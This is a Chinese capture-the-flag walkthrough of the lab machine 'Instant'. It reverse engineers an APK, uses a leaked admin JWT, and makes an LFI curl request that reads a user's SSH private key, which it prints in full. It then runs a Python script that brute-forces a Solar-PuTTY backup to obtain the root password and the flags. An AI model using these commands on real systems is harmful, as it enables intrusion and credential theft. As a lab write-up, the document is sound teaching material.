[Meachines] [Medium] Instant APK逆向+swagger-API泄露+Solar-PuTTY权限提升
字数 983 2025-08-20 18:17:53

APK逆向与API安全漏洞利用实战教学

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.11.37
  • 开放端口:
    • 22/tcp (SSH)
    • 80/tcp (HTTP)

1.2 Nmap扫描

nmap -p- 10.10.11.37 --min-rate 1000 -sC -sV -Pn

扫描结果:

  • 80端口重定向到http://instant.htb/
  • 需要将域名添加到hosts文件:
echo '10.10.11.37 instant.htb' >> /etc/hosts

2. APK逆向分析

2.1 下载APK文件

访问http://instant.htb/downloads/instant.apk下载目标APK

2.2 使用JADX-GUI进行逆向

jadx-gui instant.apk

分析要点:

  • 查找API端点
  • 检查认证机制
  • 寻找硬编码凭证或敏感信息

3. Swagger API接口发现与利用

3.1 添加Swagger子域名到hosts

echo '10.10.11.37 swagger-ui.instant.htb' >> /etc/hosts

3.2 访问Swagger UI

http://swagger-ui.instant.htb/apidocs/#/

3.3 获取管理员JWT令牌

在APK逆向过程中发现的管理员JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA

3.4 利用JWT访问API

3.4.1 查看个人资料

curl http://swagger-ui.instant.htb/api/v1/view/profile \
-H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

3.4.2 读取日志文件(LFI漏洞)

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" \
-H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

3.4.3 获取SSH私钥

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=home/shirohige/.ssh/id_rsa" \
-H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

获取到的SSH私钥:

-----BEGIN OPENSSH PRIVATE KEY-----
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
bnN0YW50AQ==
-----END OPENSSH PRIVATE KEY-----

4. 获取初始访问权限

4.1 使用SSH私钥登录

ssh -i /tmp/id_rsa shirohige@10.10.11.37

4.2 获取用户标志

User.txt: 7ce05a448fc85acd533a428bcbc379fb

5. 权限提升(Solar-PuTTY漏洞利用)

5.1 发现Solar-PuTTY备份文件

scp -i /tmp/id_rsa shirohige@10.10.11.37:/opt/backups/Solar-PuTTY/sessions-backup.dat .

5.2 解密脚本(dec.py)

import base64
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

def decrypt(passphrase, ciphertext):
    try:
        # Decode the base64 encoded ciphertext
        array = base64.b64decode(ciphertext)
        salt = array[:24]
        iv = array[24:32]
        encrypted_data = array[48:]
        
        # Derive the key from the passphrase using PBKDF2
        kdf = PBKDF2HMAC(
            algorithm=hashes.SHA1(),
            length=24,  # Triple DES key size
            salt=salt,
            iterations=1000,
            backend=default_backend()
        )
        key = kdf.derive(passphrase.encode())
        
        # Create the cipher and decrypt the data
        cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()
        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
        
        data = ''.join(chr(c) for c in decrypted_data if chr(c).isascii())
        return data
    except Exception as e:
        print(f'Error: {e}')

with open('./sessions-backup.dat') as f:
    cipher = f.read()

with open('/usr/share/wordlists/rockyou.txt') as passwords:
    for i, password in enumerate(passwords):
        password = password.strip()
        decrypted = decrypt(password, cipher)
        print(f'[{i}] {password=}', end='\r')
        if 'Credentials' in decrypted:
            print('\r', i, password)
            print()
            print(decrypted)
            break

5.3 暴力破解结果

  • 用户名: root
  • 密码: 12**24nzC!r0c%q12

5.4 获取root标志

Root.txt: 87154843d3fadd68b180691fee3ec007

6. 关键知识点总结

  1. APK逆向工程:

    • 使用JADX-GUI工具分析APK文件
    • 查找硬编码的API端点、认证令牌等敏感信息
  2. Swagger API利用:

    • 发现并利用未受保护的API文档
    • 使用泄露的JWT令牌进行API调用
    • 利用LFI漏洞读取系统文件
  3. 权限提升技术:

    • 识别Solar-PuTTY配置文件
    • 理解加密机制并编写解密脚本
    • 使用字典攻击破解加密凭证
  4. 安全防护建议:

    • 保护API文档访问权限
    • 避免在客户端存储敏感信息
    • 实施适当的文件读取限制
    • 使用强加密算法和密钥管理实践
APK逆向与API安全漏洞利用实战教学 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.11.37 开放端口: 22/tcp (SSH) 80/tcp (HTTP) 1.2 Nmap扫描 扫描结果: 80端口重定向到 http://instant.htb/ 需要将域名添加到hosts文件: 2. APK逆向分析 2.1 下载APK文件 访问 http://instant.htb/downloads/instant.apk 下载目标APK 2.2 使用JADX-GUI进行逆向 分析要点: 查找API端点 检查认证机制 寻找硬编码凭证或敏感信息 3. Swagger API接口发现与利用 3.1 添加Swagger子域名到hosts 3.2 访问Swagger UI http://swagger-ui.instant.htb/apidocs/#/ 3.3 获取管理员JWT令牌 在APK逆向过程中发现的管理员JWT: 3.4 利用JWT访问API 3.4.1 查看个人资料 3.4.2 读取日志文件(LFI漏洞) 3.4.3 获取SSH私钥 获取到的SSH私钥: 4. 获取初始访问权限 4.1 使用SSH私钥登录 4.2 获取用户标志 User.txt : 7ce05a448fc85acd533a428bcbc379fb 5. 权限提升(Solar-PuTTY漏洞利用) 5.1 发现Solar-PuTTY备份文件 5.2 解密脚本(dec.py) 5.3 暴力破解结果 用户名: root 密码: 12**24nzC!r0c%q12 5.4 获取root标志 Root.txt : 87154843d3fadd68b180691fee3ec007 6. 关键知识点总结 APK逆向工程 : 使用JADX-GUI工具分析APK文件 查找硬编码的API端点、认证令牌等敏感信息 Swagger API利用 : 发现并利用未受保护的API文档 使用泄露的JWT令牌进行API调用 利用LFI漏洞读取系统文件 权限提升技术 : 识别Solar-PuTTY配置文件 理解加密机制并编写解密脚本 使用字典攻击破解加密凭证 安全防护建议 : 保护API文档访问权限 避免在客户端存储敏感信息 实施适当的文件读取限制 使用强加密算法和密钥管理实践